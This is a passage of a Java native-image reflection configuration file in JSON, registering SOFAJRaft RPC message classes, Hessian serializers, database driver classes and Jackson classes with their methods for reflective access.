\"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$ChangePeersRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$ChangePeersResponse\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$GetLeaderRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$GetLeaderResponse\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"getLeaderId\",\"parameterTypes\":[] }, {\"name\":\"getLeaderIdBytes\",\"parameterTypes\":[] }, {\"name\":\"hasErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"hasLeaderId\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$GetLeaderResponse$Builder\",\n  \"methods\":[{\"name\":\"clearErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"clearLeaderId\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponseBuilder\",\"parameterTypes\":[] }, {\"name\":\"getLeaderId\",\"parameterTypes\":[] }, {\"name\":\"hasErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"hasLeaderId\",\"parameterTypes\":[] }, {\"name\":\"setErrorResponse\",\"parameterTypes\":[\"com.alipay.sofa.jraft.rpc.RpcRequests$ErrorResponse\"] }, {\"name\":\"setLeaderId\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setLeaderIdBytes\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$GetPeersRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$GetPeersResponse\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"getLearners\",\"parameterTypes\":[\"int\"] }, {\"name\":\"getLearnersCount\",\"parameterTypes\":[] }, {\"name\":\"getLearnersList\",\"parameterTypes\":[] }, {\"name\":\"getPeers\",\"parameterTypes\":[\"int\"] }, {\"name\":\"getPeersCount\",\"parameterTypes\":[] }, {\"name\":\"getPeersList\",\"parameterTypes\":[] }, {\"name\":\"hasErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$GetPeersResponse$Builder\",\n  \"methods\":[{\"name\":\"addLearners\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"addPeers\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"clearErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"clearLearners\",\"parameterTypes\":[] }, {\"name\":\"clearPeers\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponseBuilder\",\"parameterTypes\":[] }, {\"name\":\"getLearners\",\"parameterTypes\":[\"int\"] }, {\"name\":\"getLearnersCount\",\"parameterTypes\":[] }, {\"name\":\"getLearnersList\",\"parameterTypes\":[] }, {\"name\":\"getPeers\",\"parameterTypes\":[\"int\"] }, {\"name\":\"getPeersCount\",\"parameterTypes\":[] }, {\"name\":\"getPeersList\",\"parameterTypes\":[] }, {\"name\":\"hasErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"setErrorResponse\",\"parameterTypes\":[\"com.alipay.sofa.jraft.rpc.RpcRequests$ErrorResponse\"] }, {\"name\":\"setLearners\",\"parameterTypes\":[\"int\",\"java.lang.String\"] }, {\"name\":\"setPeers\",\"parameterTypes\":[\"int\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$LearnersOpResponse\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$RemoveLearnersRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$RemovePeerRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$RemovePeerResponse\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$ResetLearnersRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$ResetPeerRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$SnapshotRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.CliRequests$TransferLeaderRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.ProtobufMsgFactory\",\n  \"allDeclaredFields\":true,\n  \"allDeclaredMethods\":true,\n  \"allDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequestClosure\",\n  \"fields\":[{\"name\":\"state\"}]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$AppendEntriesRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$AppendEntriesRequestHeader\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$AppendEntriesResponse\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"getLastLogIndex\",\"parameterTypes\":[] }, {\"name\":\"getSuccess\",\"parameterTypes\":[] }, {\"name\":\"getTerm\",\"parameterTypes\":[] }, {\"name\":\"hasErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"hasLastLogIndex\",\"parameterTypes\":[] }, {\"name\":\"hasSuccess\",\"parameterTypes\":[] }, {\"name\":\"hasTerm\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$AppendEntriesResponse$Builder\",\n  \"methods\":[{\"name\":\"clearErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"clearLastLogIndex\",\"parameterTypes\":[] }, {\"name\":\"clearSuccess\",\"parameterTypes\":[] }, {\"name\":\"clearTerm\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponseBuilder\",\"parameterTypes\":[] }, {\"name\":\"getLastLogIndex\",\"parameterTypes\":[] }, {\"name\":\"getSuccess\",\"parameterTypes\":[] }, {\"name\":\"getTerm\",\"parameterTypes\":[] }, {\"name\":\"hasErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"hasLastLogIndex\",\"parameterTypes\":[] }, {\"name\":\"hasSuccess\",\"parameterTypes\":[] }, {\"name\":\"hasTerm\",\"parameterTypes\":[] }, {\"name\":\"setErrorResponse\",\"parameterTypes\":[\"com.alipay.sofa.jraft.rpc.RpcRequests$ErrorResponse\"] }, {\"name\":\"setLastLogIndex\",\"parameterTypes\":[\"long\"] }, {\"name\":\"setSuccess\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setTerm\",\"parameterTypes\":[\"long\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$ErrorResponse\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"newBuilder\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$GetFileRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$GetFileResponse\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$InstallSnapshotRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$InstallSnapshotResponse\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$PingRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$ReadIndexRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$ReadIndexResponse\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$RequestVoteRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$RequestVoteResponse\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"getGranted\",\"parameterTypes\":[] }, {\"name\":\"getTerm\",\"parameterTypes\":[] }, {\"name\":\"hasErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"hasGranted\",\"parameterTypes\":[] }, {\"name\":\"hasTerm\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$RequestVoteResponse$Builder\",\n  \"methods\":[{\"name\":\"clearErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"clearGranted\",\"parameterTypes\":[] }, {\"name\":\"clearTerm\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponseBuilder\",\"parameterTypes\":[] }, {\"name\":\"getGranted\",\"parameterTypes\":[] }, {\"name\":\"getTerm\",\"parameterTypes\":[] }, {\"name\":\"hasErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"hasGranted\",\"parameterTypes\":[] }, {\"name\":\"hasTerm\",\"parameterTypes\":[] }, {\"name\":\"setErrorResponse\",\"parameterTypes\":[\"com.alipay.sofa.jraft.rpc.RpcRequests$ErrorResponse\"] }, {\"name\":\"setGranted\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setTerm\",\"parameterTypes\":[\"long\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$TimeoutNowRequest\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$TimeoutNowResponse\",\n  \"methods\":[{\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"getSuccess\",\"parameterTypes\":[] }, {\"name\":\"getTerm\",\"parameterTypes\":[] }, {\"name\":\"hasErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"hasSuccess\",\"parameterTypes\":[] }, {\"name\":\"hasTerm\",\"parameterTypes\":[] }, {\"name\":\"parseFrom\",\"parameterTypes\":[\"byte[]\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.RpcRequests$TimeoutNowResponse$Builder\",\n  \"methods\":[{\"name\":\"clearErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"clearSuccess\",\"parameterTypes\":[] }, {\"name\":\"clearTerm\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"getErrorResponseBuilder\",\"parameterTypes\":[] }, {\"name\":\"getSuccess\",\"parameterTypes\":[] }, {\"name\":\"getTerm\",\"parameterTypes\":[] }, {\"name\":\"hasErrorResponse\",\"parameterTypes\":[] }, {\"name\":\"hasSuccess\",\"parameterTypes\":[] }, {\"name\":\"hasTerm\",\"parameterTypes\":[] }, {\"name\":\"setErrorResponse\",\"parameterTypes\":[\"com.alipay.sofa.jraft.rpc.RpcRequests$ErrorResponse\"] }, {\"name\":\"setSuccess\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setTerm\",\"parameterTypes\":[\"long\"] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.impl.AbstractClientService\",\n  \"allDeclaredMethods\":true,\n  \"allDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.impl.BoltRaftRpcFactory\"\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.rpc.impl.GrpcRaftRpcFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.util.concurrent.MpscSingleThreadExecutor\",\n  \"fields\":[{\"name\":\"state\"}]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.util.concurrent.MpscSingleThreadExecutor$Worker\",\n  \"fields\":[{\"name\":\"notifyNeeded\"}]\n},\n{\n  \"name\":\"com.alipay.sofa.jraft.util.timer.DefaultRaftTimerFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.caucho.burlap.io.BurlapRemoteObject\"\n},\n{\n  \"name\":\"com.caucho.hessian.io.BigDecimalDeserializer\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.caucho.hessian.io.ContextSerializerFactory\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.caucho.hessian.io.FileDeserializer\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.caucho.hessian.io.HessianRemote\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.caucho.hessian.io.HessianRemoteObject\"\n},\n{\n  \"name\":\"com.caucho.hessian.io.LocaleSerializer\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.caucho.hessian.io.ObjectNameDeserializer\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.caucho.hessian.io.RemoteSerializer\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.caucho.hessian.io.SqlDateDeserializer\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.caucho.hessian.io.StringValueSerializer\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.couchbase.client.java.Bucket\"\n},\n{\n  \"name\":\"com.couchbase.client.java.Cluster\"\n},\n{\n  \"name\":\"com.datastax.oss.driver.api.core.CqlSession\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JacksonAnnotation\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonAnyGetter\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonAnySetter\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonAutoDetect$Value\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonAutoDetect$Visibility\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonFormat$Feature\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonFormat$Value\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonIgnore\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonInclude\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonInclude$Include\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonInclude$Value\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonProperty\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonPropertyOrder\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonSetter$Value\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonSubTypes\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonSubTypes$Type\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonTypeInfo\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonTypeInfo$As\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonTypeInfo$Id\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.JsonUnwrapped\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.annotation.PropertyAccessor\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.Base64Variant\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.FormatSchema\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.JsonEncoding\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.JsonFactory\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.JsonFactory$Feature\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.JsonGenerator\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.JsonGenerator$Feature\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.JsonParser\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.JsonParser$Feature\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.JsonParser$NumberType\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.JsonProcessingException\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.JsonToken\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.ObjectCodec\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getJsonFactory\",\"parameterTypes\":[] }, {\"name\":\"readValues\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonParser\",\"com.fasterxml.jackson.core.type.ResolvedType\"] }, {\"name\":\"readValues\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonParser\",\"com.fasterxml.jackson.core.type.TypeReference\"] }, {\"name\":\"readValues\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonParser\",\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.PrettyPrinter\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.StreamReadFeature\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.StreamWriteFeature\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.TreeCodec\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.TreeNode\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"at\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonPointer\"] }, {\"name\":\"at\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"get\",\"parameterTypes\":[\"int\"] }, {\"name\":\"get\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"path\",\"parameterTypes\":[\"int\"] }, {\"name\":\"path\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.Version\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.Versioned\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.exc.StreamReadException\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.exc.StreamWriteException\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.io.CharacterEscapes\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.type.ResolvedType\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.type.TypeReference\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.AnnotationIntrospector\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.BeanProperty\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.DatabindException\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.DeserializationConfig\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.DeserializationContext\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.DeserializationFeature\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.InjectableValues\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.JavaType\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.JsonDeserializer\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.JsonMappingException\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.JsonNode\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"get\",\"parameterTypes\":[\"int\"] }, {\"name\":\"get\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"byte\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"double\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"float\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"int\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"long\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"short\"] }, {\"name\":\"path\",\"parameterTypes\":[\"int\"] }, {\"name\":\"path\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.JsonSerializable\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.JsonSerializable$Base\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"at\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonPointer\"] }, {\"name\":\"at\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"get\",\"parameterTypes\":[\"int\"] }, {\"name\":\"get\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"byte\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"double\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"float\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"int\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"long\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"short\"] }, {\"name\":\"path\",\"parameterTypes\":[\"int\"] }, {\"name\":\"path\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.JsonSerializer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getDelegatee\",\"parameterTypes\":[] }, {\"name\":\"isEmpty\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"isUnwrappingSerializer\",\"parameterTypes\":[] }, {\"name\":\"properties\",\"parameterTypes\":[] }, {\"name\":\"replaceDelegatee\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.JsonSerializer\"] }, {\"name\":\"unwrappingSerializer\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.util.NameTransformer\"] }, {\"name\":\"usesObjectId\",\"parameterTypes\":[] }, {\"name\":\"withFilterId\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"withIgnoredProperties\",\"parameterTypes\":[\"java.util.Set\"] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.KeyDeserializer\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.MapperFeature\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.MappingIterator\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.Module\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getDependencies\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.Module$SetupContext\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ObjectMapper\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"createArrayNode\",\"parameterTypes\":[] }, {\"name\":\"createObjectNode\",\"parameterTypes\":[] }, {\"name\":\"getFactory\",\"parameterTypes\":[] }, {\"name\":\"missingNode\",\"parameterTypes\":[] }, {\"name\":\"nullNode\",\"parameterTypes\":[] }, {\"name\":\"readTree\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonParser\"] }, {\"name\":\"readValue\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonParser\",\"com.fasterxml.jackson.core.type.ResolvedType\"] }, {\"name\":\"readValue\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonParser\",\"com.fasterxml.jackson.core.type.TypeReference\"] }, {\"name\":\"readValue\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonParser\",\"java.lang.Class\"] }, {\"name\":\"readValues\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonParser\",\"com.fasterxml.jackson.core.type.ResolvedType\"] }, {\"name\":\"readValues\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonParser\",\"com.fasterxml.jackson.core.type.TypeReference\"] }, {\"name\":\"readValues\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonParser\",\"java.lang.Class\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, 